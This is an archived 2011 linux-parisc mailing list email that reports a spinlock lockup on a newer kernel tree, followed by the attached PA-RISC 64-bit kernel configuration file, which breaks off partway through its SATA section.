	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qncpx-0003Cf-5r
	for glpp-linux-parisc@lo.gmane.org; Sun, 31 Jul 2011 22:42:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751897Ab1GaUmM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Jul 2011 16:42:12 -0400
Original-Received: from blu0-omc4-s36.blu0.hotmail.com ([65.55.111.175]:2255 "EHLO
	blu0-omc4-s36.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751370Ab1GaUmL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Jul 2011 16:42:11 -0400
Original-Received: from BLU0-SMTP40 ([65.55.111.137]) by blu0-omc4-s36.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 31 Jul 2011 13:42:10 -0700
X-Originating-IP: [69.158.173.138]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.173.138]) by BLU0-SMTP40.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 31 Jul 2011 13:42:09 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 31 Jul 2011 20:42:10.0281 (UTC) FILETIME=[51E05D90:01CC4FC2]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3895 gmane.linux.kernel:1173755
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3895>

--Apple-Mail-4-977747550
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

With todays Linux kernel source tree, I'm seeing a spinlock lockup  
after the first CPU is brought up.  This
didn't happen with v3.0-rc7.  v3.0 stable also seems ok.

Attached .config and debug info.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-4-977747550
Content-Disposition: attachment; filename="config-3.0.0+"
Content-Type: application/octet-stream; x-unix-mode=0644;
	name="config-3.0.0+"
Content-Transfer-Encoding: 7bit

#
# Automatically generated file; DO NOT EDIT.
# Linux/parisc 3.0.0 Kernel Configuration
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_TIME_LOW_RES=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_HAVE_IRQ_WORK=y

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_CROSS_COMPILE=""
CONFIG_LOCALVERSION=""
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_DEFAULT_HOSTNAME="(none)"
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
# CONFIG_BSD_PROCESS_ACCT is not set
# CONFIG_FHANDLE is not set
# CONFIG_TASKSTATS is not set
# CONFIG_AUDIT is not set
CONFIG_HAVE_GENERIC_HARDIRQS=y

#
# IRQ subsystem
#
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y

#
# RCU Subsystem
#
CONFIG_TREE_RCU=y
# CONFIG_PREEMPT_RCU is not set
# CONFIG_RCU_TRACE is not set
CONFIG_RCU_FANOUT=64
# CONFIG_RCU_FANOUT_EXACT is not set
# CONFIG_TREE_RCU_TRACE is not set
CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
CONFIG_LOG_BUF_SHIFT=17
# CONFIG_CGROUPS is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_NET_NS is not set
# CONFIG_SCHED_AUTOGROUP is not set
# CONFIG_SYSFS_DEPRECATED is not set
CONFIG_RELAY=y
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_RD_GZIP=y
CONFIG_RD_BZIP2=y
CONFIG_RD_LZMA=y
CONFIG_RD_XZ=y
CONFIG_RD_LZO=y
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
# CONFIG_EXPERT is not set
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
# CONFIG_EMBEDDED is not set
CONFIG_HAVE_PERF_EVENTS=y

#
# Kernel Performance Events And Counters
#
# CONFIG_PERF_EVENTS is not set
# CONFIG_PERF_COUNTERS is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PCI_QUIRKS=y
CONFIG_COMPAT_BRK=y
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_PROFILING is not set
CONFIG_HAVE_OPROFILE=y
CONFIG_USE_GENERIC_SMP_HELPERS=y

#
# GCOV-based kernel profiling
#
# CONFIG_GCOV_KERNEL is not set
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_STOP_MACHINE=y
CONFIG_BLOCK=y
CONFIG_BLK_DEV_BSG=y
CONFIG_BLK_DEV_INTEGRITY=y
CONFIG_BLOCK_COMPAT=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
# CONFIG_INLINE_SPIN_TRYLOCK is not set
# CONFIG_INLINE_SPIN_TRYLOCK_BH is not set
# CONFIG_INLINE_SPIN_LOCK is not set
# CONFIG_INLINE_SPIN_LOCK_BH is not set
# CONFIG_INLINE_SPIN_LOCK_IRQ is not set
# CONFIG_INLINE_SPIN_LOCK_IRQSAVE is not set
# CONFIG_INLINE_SPIN_UNLOCK is not set
# CONFIG_INLINE_SPIN_UNLOCK_BH is not set
# CONFIG_INLINE_SPIN_UNLOCK_IRQ is not set
# CONFIG_INLINE_SPIN_UNLOCK_IRQRESTORE is not set
# CONFIG_INLINE_READ_TRYLOCK is not set
# CONFIG_INLINE_READ_LOCK is not set
# CONFIG_INLINE_READ_LOCK_BH is not set
# CONFIG_INLINE_READ_LOCK_IRQ is not set
# CONFIG_INLINE_READ_LOCK_IRQSAVE is not set
# CONFIG_INLINE_READ_UNLOCK is not set
# CONFIG_INLINE_READ_UNLOCK_BH is not set
# CONFIG_INLINE_READ_UNLOCK_IRQ is not set
# CONFIG_INLINE_READ_UNLOCK_IRQRESTORE is not set
# CONFIG_INLINE_WRITE_TRYLOCK is not set
# CONFIG_INLINE_WRITE_LOCK is not set
# CONFIG_INLINE_WRITE_LOCK_BH is not set
# CONFIG_INLINE_WRITE_LOCK_IRQ is not set
# CONFIG_INLINE_WRITE_LOCK_IRQSAVE is not set
# CONFIG_INLINE_WRITE_UNLOCK is not set
# CONFIG_INLINE_WRITE_UNLOCK_BH is not set
# CONFIG_INLINE_WRITE_UNLOCK_IRQ is not set
# CONFIG_INLINE_WRITE_UNLOCK_IRQRESTORE is not set
# CONFIG_MUTEX_SPIN_ON_OWNER is not set
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
CONFIG_SMP=y
CONFIG_HOTPLUG_CPU=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_NODES_SHIFT=3
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
CONFIG_PREEMPT_COUNT=y
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
# CONFIG_FLATMEM_MANUAL is not set
CONFIG_DISCONTIGMEM_MANUAL=y
CONFIG_DISCONTIGMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_NEED_MULTIPLE_NODES=y
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=999999
# CONFIG_COMPACTION is not set
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
# CONFIG_CLEANCACHE is not set
CONFIG_COMPAT=y
CONFIG_NR_CPUS=32

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
CONFIG_HPPB=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
# CONFIG_GSC_WAX is not set
# CONFIG_EISA is not set
CONFIG_PCI=y
# CONFIG_ARCH_SUPPORTS_MSI is not set
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_STUB is not set
CONFIG_PCI_IOV=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
# CONFIG_CHASSIS_LCD_LED is not set
# CONFIG_PDC_CHASSIS is not set
# CONFIG_PDC_CHASSIS_WARN is not set
# CONFIG_PDC_STABLE is not set

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set
# CONFIG_HAVE_AOUT is not set
CONFIG_BINFMT_MISC=m
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=m
CONFIG_UNIX=y
CONFIG_XFRM=y
CONFIG_XFRM_USER=m
CONFIG_XFRM_SUB_POLICY=y
# CONFIG_XFRM_MIGRATE is not set
# CONFIG_XFRM_STATISTICS is not set
CONFIG_XFRM_IPCOMP=m
CONFIG_NET_KEY=m
# CONFIG_NET_KEY_MIGRATE is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_ROUTE_CLASSID=y
CONFIG_IP_PNP=y
CONFIG_IP_PNP_DHCP=y
CONFIG_IP_PNP_BOOTP=y
CONFIG_IP_PNP_RARP=y
CONFIG_NET_IPIP=m
# CONFIG_NET_IPGRE_DEMUX is not set
CONFIG_IP_MROUTE=y
CONFIG_IP_PIMSM_V1=y
CONFIG_IP_PIMSM_V2=y
# CONFIG_ARPD is not set
CONFIG_SYN_COOKIES=y
CONFIG_INET_AH=m
CONFIG_INET_ESP=m
CONFIG_INET_IPCOMP=m
CONFIG_INET_XFRM_TUNNEL=m
CONFIG_INET_TUNNEL=m
CONFIG_INET_XFRM_MODE_TRANSPORT=y
CONFIG_INET_XFRM_MODE_TUNNEL=y
CONFIG_INET_XFRM_MODE_BEET=m
CONFIG_INET_LRO=y
CONFIG_INET_DIAG=m
CONFIG_INET_TCP_DIAG=m
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
CONFIG_IPV6=m
CONFIG_IPV6_PRIVACY=y
CONFIG_IPV6_ROUTER_PREF=y
# CONFIG_IPV6_ROUTE_INFO is not set
# CONFIG_IPV6_OPTIMISTIC_DAD is not set
CONFIG_INET6_AH=m
CONFIG_INET6_ESP=m
CONFIG_INET6_IPCOMP=m
# CONFIG_IPV6_MIP6 is not set
CONFIG_INET6_XFRM_TUNNEL=m
CONFIG_INET6_TUNNEL=m
CONFIG_INET6_XFRM_MODE_TRANSPORT=m
CONFIG_INET6_XFRM_MODE_TUNNEL=m
CONFIG_INET6_XFRM_MODE_BEET=m
# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set
CONFIG_IPV6_SIT=m
# CONFIG_IPV6_SIT_6RD is not set
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=m
CONFIG_IPV6_MULTIPLE_TABLES=y
CONFIG_IPV6_SUBTREES=y
# CONFIG_IPV6_MROUTE is not set
# CONFIG_NETWORK_SECMARK is not set
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
CONFIG_NETFILTER=y
# CONFIG_NETFILTER_DEBUG is not set
CONFIG_NETFILTER_ADVANCED=y

#
# Core Netfilter Configuration
#
CONFIG_NETFILTER_NETLINK=m
CONFIG_NETFILTER_NETLINK_QUEUE=m
CONFIG_NETFILTER_NETLINK_LOG=m
# CONFIG_NF_CONNTRACK is not set
# CONFIG_NETFILTER_TPROXY is not set
CONFIG_NETFILTER_XTABLES=m

#
# Xtables combined modules
#
CONFIG_NETFILTER_XT_MARK=m

#
# Xtables targets
#
CONFIG_NETFILTER_XT_TARGET_CHECKSUM=m
CONFIG_NETFILTER_XT_TARGET_CLASSIFY=m
CONFIG_NETFILTER_XT_TARGET_DSCP=m
CONFIG_NETFILTER_XT_TARGET_HL=m
CONFIG_NETFILTER_XT_TARGET_IDLETIMER=m
CONFIG_NETFILTER_XT_TARGET_MARK=m
# CONFIG_NETFILTER_XT_TARGET_NFLOG is not set
CONFIG_NETFILTER_XT_TARGET_NFQUEUE=m
CONFIG_NETFILTER_XT_TARGET_RATEEST=m
# CONFIG_NETFILTER_XT_TARGET_TEE is not set
# CONFIG_NETFILTER_XT_TARGET_TRACE is not set
# CONFIG_NETFILTER_XT_TARGET_TCPMSS is not set
CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP=m

#
# Xtables matches
#
# CONFIG_NETFILTER_XT_MATCH_ADDRTYPE is not set
CONFIG_NETFILTER_XT_MATCH_COMMENT=m
CONFIG_NETFILTER_XT_MATCH_CPU=m
CONFIG_NETFILTER_XT_MATCH_DCCP=m
# CONFIG_NETFILTER_XT_MATCH_DEVGROUP is not set
CONFIG_NETFILTER_XT_MATCH_DSCP=m
CONFIG_NETFILTER_XT_MATCH_ESP=m
# CONFIG_NETFILTER_XT_MATCH_HASHLIMIT is not set
CONFIG_NETFILTER_XT_MATCH_HL=m
CONFIG_NETFILTER_XT_MATCH_IPRANGE=m
CONFIG_NETFILTER_XT_MATCH_LENGTH=m
CONFIG_NETFILTER_XT_MATCH_LIMIT=m
CONFIG_NETFILTER_XT_MATCH_MAC=m
CONFIG_NETFILTER_XT_MATCH_MARK=m
CONFIG_NETFILTER_XT_MATCH_MULTIPORT=m
# CONFIG_NETFILTER_XT_MATCH_OSF is not set
CONFIG_NETFILTER_XT_MATCH_OWNER=m
CONFIG_NETFILTER_XT_MATCH_POLICY=m
CONFIG_NETFILTER_XT_MATCH_PKTTYPE=m
# CONFIG_NETFILTER_XT_MATCH_QUOTA is not set
CONFIG_NETFILTER_XT_MATCH_RATEEST=m
CONFIG_NETFILTER_XT_MATCH_REALM=m
CONFIG_NETFILTER_XT_MATCH_RECENT=m
CONFIG_NETFILTER_XT_MATCH_SCTP=m
# CONFIG_NETFILTER_XT_MATCH_STATISTIC is not set
CONFIG_NETFILTER_XT_MATCH_STRING=m
CONFIG_NETFILTER_XT_MATCH_TCPMSS=m
# CONFIG_NETFILTER_XT_MATCH_TIME is not set
# CONFIG_NETFILTER_XT_MATCH_U32 is not set
# CONFIG_IP_SET is not set
# CONFIG_IP_VS is not set

#
# IP: Netfilter Configuration
#
# CONFIG_NF_DEFRAG_IPV4 is not set
CONFIG_IP_NF_QUEUE=m
CONFIG_IP_NF_IPTABLES=m
CONFIG_IP_NF_MATCH_AH=m
CONFIG_IP_NF_MATCH_ECN=m
CONFIG_IP_NF_MATCH_TTL=m
CONFIG_IP_NF_FILTER=m
CONFIG_IP_NF_TARGET_REJECT=m
CONFIG_IP_NF_TARGET_LOG=m
CONFIG_IP_NF_TARGET_ULOG=m
CONFIG_IP_NF_MANGLE=m
CONFIG_IP_NF_TARGET_ECN=m
CONFIG_IP_NF_TARGET_TTL=m
CONFIG_IP_NF_RAW=m
CONFIG_IP_NF_ARPTABLES=m
CONFIG_IP_NF_ARPFILTER=m
CONFIG_IP_NF_ARP_MANGLE=m

#
# IPv6: Netfilter Configuration
#
# CONFIG_NF_DEFRAG_IPV6 is not set
# CONFIG_IP6_NF_QUEUE is not set
# CONFIG_IP6_NF_IPTABLES is not set
CONFIG_IP_DCCP=m
CONFIG_INET_DCCP_DIAG=m

#
# DCCP CCIDs Configuration (EXPERIMENTAL)
#
# CONFIG_IP_DCCP_CCID2_DEBUG is not set
CONFIG_IP_DCCP_CCID3=y
# CONFIG_IP_DCCP_CCID3_DEBUG is not set
CONFIG_IP_DCCP_TFRC_LIB=y

#
# DCCP Kernel Hacking
#
# CONFIG_IP_DCCP_DEBUG is not set
CONFIG_IP_SCTP=m
# CONFIG_SCTP_DBG_MSG is not set
# CONFIG_SCTP_DBG_OBJCNT is not set
# CONFIG_SCTP_HMAC_NONE is not set
CONFIG_SCTP_HMAC_SHA1=y
# CONFIG_SCTP_HMAC_MD5 is not set
# CONFIG_RDS is not set
CONFIG_TIPC=m
# CONFIG_TIPC_ADVANCED is not set
# CONFIG_TIPC_DEBUG is not set
# CONFIG_ATM is not set
CONFIG_L2TP=m
# CONFIG_L2TP_DEBUGFS is not set
# CONFIG_L2TP_V3 is not set
CONFIG_STP=m
CONFIG_GARP=m
# CONFIG_BRIDGE is not set
# CONFIG_NET_DSA is not set
CONFIG_VLAN_8021Q=m
CONFIG_VLAN_8021Q_GVRP=y
# CONFIG_DECNET is not set
CONFIG_LLC=m
CONFIG_LLC2=m
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_PHONET is not set
# CONFIG_IEEE802154 is not set
# CONFIG_NET_SCHED is not set
# CONFIG_DCB is not set
# CONFIG_BATMAN_ADV is not set
CONFIG_RPS=y
CONFIG_RFS_ACCEL=y
CONFIG_XPS=y

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
CONFIG_FIB_RULES=y
CONFIG_WIRELESS=y
# CONFIG_CFG80211 is not set
# CONFIG_LIB80211 is not set

#
# CFG80211 needs to be enabled for MAC80211
#
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set
# CONFIG_CAIF is not set
# CONFIG_CEPH_LIB is not set
# CONFIG_NFC is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
# CONFIG_DEVTMPFS is not set
# CONFIG_STANDALONE is not set
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
CONFIG_PARPORT=m
CONFIG_PARPORT_PC=m
# CONFIG_PARPORT_SERIAL is not set
CONFIG_PARPORT_PC_FIFO=y
CONFIG_PARPORT_PC_SUPERIO=y
CONFIG_PARPORT_GSC=m
# CONFIG_PARPORT_AX88796 is not set
# CONFIG_PARPORT_1284 is not set
CONFIG_PARPORT_NOT_PC=y
CONFIG_BLK_DEV=y
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_BLK_DEV_UMEM=m
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=m
CONFIG_BLK_DEV_CRYPTOLOOP=m

#
# DRBD disabled because PROC_FS, INET or CONNECTOR not selected
#
# CONFIG_BLK_DEV_NBD is not set
CONFIG_BLK_DEV_SX8=m
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=6144
# CONFIG_BLK_DEV_XIP is not set
CONFIG_CDROM_PKTCDVD=m
CONFIG_CDROM_PKTCDVD_BUFFERS=8
CONFIG_CDROM_PKTCDVD_WCACHE=y
CONFIG_ATA_OVER_ETH=m
# CONFIG_BLK_DEV_HD is not set
# CONFIG_BLK_DEV_RBD is not set
# CONFIG_SENSORS_LIS3LV02D is not set
CONFIG_MISC_DEVICES=y
# CONFIG_AD525X_DPOT is not set
# CONFIG_PHANTOM is not set
# CONFIG_INTEL_MID_PTI is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ICS932S401 is not set
CONFIG_ENCLOSURE_SERVICES=m
# CONFIG_HP_ILO is not set
# CONFIG_APDS9802ALS is not set
# CONFIG_ISL29003 is not set
# CONFIG_ISL29020 is not set
# CONFIG_SENSORS_TSL2550 is not set
# CONFIG_SENSORS_BH1780 is not set
# CONFIG_SENSORS_BH1770 is not set
# CONFIG_SENSORS_APDS990X is not set
# CONFIG_HMC6352 is not set
# CONFIG_DS1682 is not set
# CONFIG_BMP085 is not set
# CONFIG_PCH_PHUB is not set
# CONFIG_USB_SWITCH_FSA9480 is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
CONFIG_EEPROM_AT24=m
CONFIG_EEPROM_LEGACY=m
# CONFIG_EEPROM_MAX6875 is not set
# CONFIG_EEPROM_93CX6 is not set
# CONFIG_CB710_CORE is not set

#
# Texas Instruments shared transport line discipline
#
# CONFIG_SENSORS_LIS3_I2C is not set
CONFIG_HAVE_IDE=y
# CONFIG_IDE is not set

#
# SCSI device support
#
CONFIG_SCSI_MOD=m
CONFIG_RAID_ATTRS=m
CONFIG_SCSI=m
CONFIG_SCSI_DMA=y
# CONFIG_SCSI_TGT is not set
CONFIG_SCSI_NETLINK=y
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=m
CONFIG_CHR_DEV_ST=m
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=m
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_CHR_DEV_SG=m
CONFIG_CHR_DEV_SCH=m
CONFIG_SCSI_ENCLOSURE=m
# CONFIG_SCSI_MULTI_LUN is not set
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
# CONFIG_SCSI_SCAN_ASYNC is not set
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=m
CONFIG_SCSI_FC_ATTRS=m
CONFIG_SCSI_ISCSI_ATTRS=m
CONFIG_SCSI_SAS_ATTRS=m
CONFIG_SCSI_SAS_LIBSAS=m
# CONFIG_SCSI_SAS_ATA is not set
CONFIG_SCSI_SAS_HOST_SMP=y
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
CONFIG_ISCSI_TCP=m
CONFIG_ISCSI_BOOT_SYSFS=m
# CONFIG_SCSI_CXGB3_ISCSI is not set
# CONFIG_SCSI_CXGB4_ISCSI is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_SCSI_BNX2X_FCOE is not set
# CONFIG_BE2ISCSI is not set
CONFIG_BLK_DEV_3W_XXXX_RAID=m
CONFIG_SCSI_HPSA=m
CONFIG_SCSI_3W_9XXX=m
CONFIG_SCSI_3W_SAS=m
# CONFIG_SCSI_ACARD is not set
CONFIG_SCSI_AACRAID=m
CONFIG_SCSI_AIC7XXX=m
CONFIG_AIC7XXX_CMDS_PER_DEVICE=32
CONFIG_AIC7XXX_RESET_DELAY_MS=15000
CONFIG_AIC7XXX_DEBUG_ENABLE=y
CONFIG_AIC7XXX_DEBUG_MASK=0
CONFIG_AIC7XXX_REG_PRETTY_PRINT=y
CONFIG_SCSI_AIC7XXX_OLD=m
CONFIG_SCSI_AIC79XX=m
CONFIG_AIC79XX_CMDS_PER_DEVICE=32
CONFIG_AIC79XX_RESET_DELAY_MS=15000
CONFIG_AIC79XX_DEBUG_ENABLE=y
CONFIG_AIC79XX_DEBUG_MASK=0
CONFIG_AIC79XX_REG_PRETTY_PRINT=y
CONFIG_SCSI_AIC94XX=m
CONFIG_AIC94XX_DEBUG=y
CONFIG_SCSI_MVSAS=m
CONFIG_SCSI_MVSAS_DEBUG=y
# CONFIG_SCSI_MVSAS_TASKLET is not set
CONFIG_SCSI_DPT_I2O=m
# CONFIG_SCSI_ADVANSYS is not set
CONFIG_SCSI_ARCMSR=m
CONFIG_MEGARAID_NEWGEN=y
CONFIG_MEGARAID_MM=m
CONFIG_MEGARAID_MAILBOX=m
CONFIG_MEGARAID_LEGACY=m
CONFIG_MEGARAID_SAS=m
CONFIG_SCSI_MPT2SAS=m
CONFIG_SCSI_MPT2SAS_MAX_SGE=128
# CONFIG_SCSI_MPT2SAS_LOGGING is not set
# CONFIG_SCSI_HPTIOP is not set
CONFIG_LIBFC=m
CONFIG_LIBFCOE=m
# CONFIG_FCOE is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
CONFIG_SCSI_IPS=m
# CONFIG_SCSI_INITIO is not set
CONFIG_SCSI_INIA100=m
CONFIG_SCSI_PPA=m
CONFIG_SCSI_IMM=m
# CONFIG_SCSI_IZIP_EPP16 is not set
# CONFIG_SCSI_IZIP_SLOW_CTR is not set
CONFIG_SCSI_LASI700=m
CONFIG_53C700_LE_ON_BE=y
CONFIG_SCSI_STEX=m
CONFIG_SCSI_SYM53C8XX_2=m
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_IPR is not set
CONFIG_SCSI_ZALON=m
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
CONFIG_SCSI_QLOGIC_1280=m
CONFIG_SCSI_QLA_FC=m
CONFIG_SCSI_QLA_ISCSI=m
CONFIG_SCSI_LPFC=m
# CONFIG_SCSI_LPFC_DEBUG_FS is not set
CONFIG_SCSI_DC395x=m
# CONFIG_SCSI_DC390T is not set
CONFIG_SCSI_DEBUG=m
# CONFIG_SCSI_PMCRAID is not set
CONFIG_SCSI_PM8001=m
# CONFIG_SCSI_SRP is not set
CONFIG_SCSI_BFA_FC=m
CONFIG_SCSI_DH=m
CONFIG_SCSI_DH_RDAC=m
CONFIG_SCSI_DH_HP_SW=m
CONFIG_SCSI_DH_EMC=m
CONFIG_SCSI_DH_ALUA=m
CONFIG_SCSI_OSD_INITIATOR=m
# CONFIG_SCSI_OSD_ULD is not set
CONFIG_SCSI_OSD_DPRINT_SENSE=1
# CONFIG_SCSI_OSD_DEBUG is not set
CONFIG_ATA=m
# CONFIG_ATA_NONSTANDARD is not set
CONFIG_ATA_VERBOSE_ERROR=y
CONFIG_SATA_PMP=y

#
# Controllers with non-SFF native interface
#
# CONFIG_SATA_AHCI is not set
# CONFIG_SATA_AHCI_PLATFORM is not set
# CONFIG_SATA_INIC162X is not set
# CONFIG_SATA_ACARD_AHCI is not set
